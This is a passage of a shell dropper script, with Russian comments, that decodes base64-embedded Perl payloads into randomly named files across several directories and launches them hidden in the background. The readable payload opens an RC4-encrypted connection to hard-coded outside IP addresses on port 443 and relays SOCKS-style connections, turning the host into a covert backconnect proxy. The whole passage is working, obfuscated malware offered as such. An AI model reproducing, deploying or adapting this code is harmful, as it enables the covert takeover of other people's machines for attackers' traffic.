OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #44 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #44 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 45 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #45 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #45 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 46 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 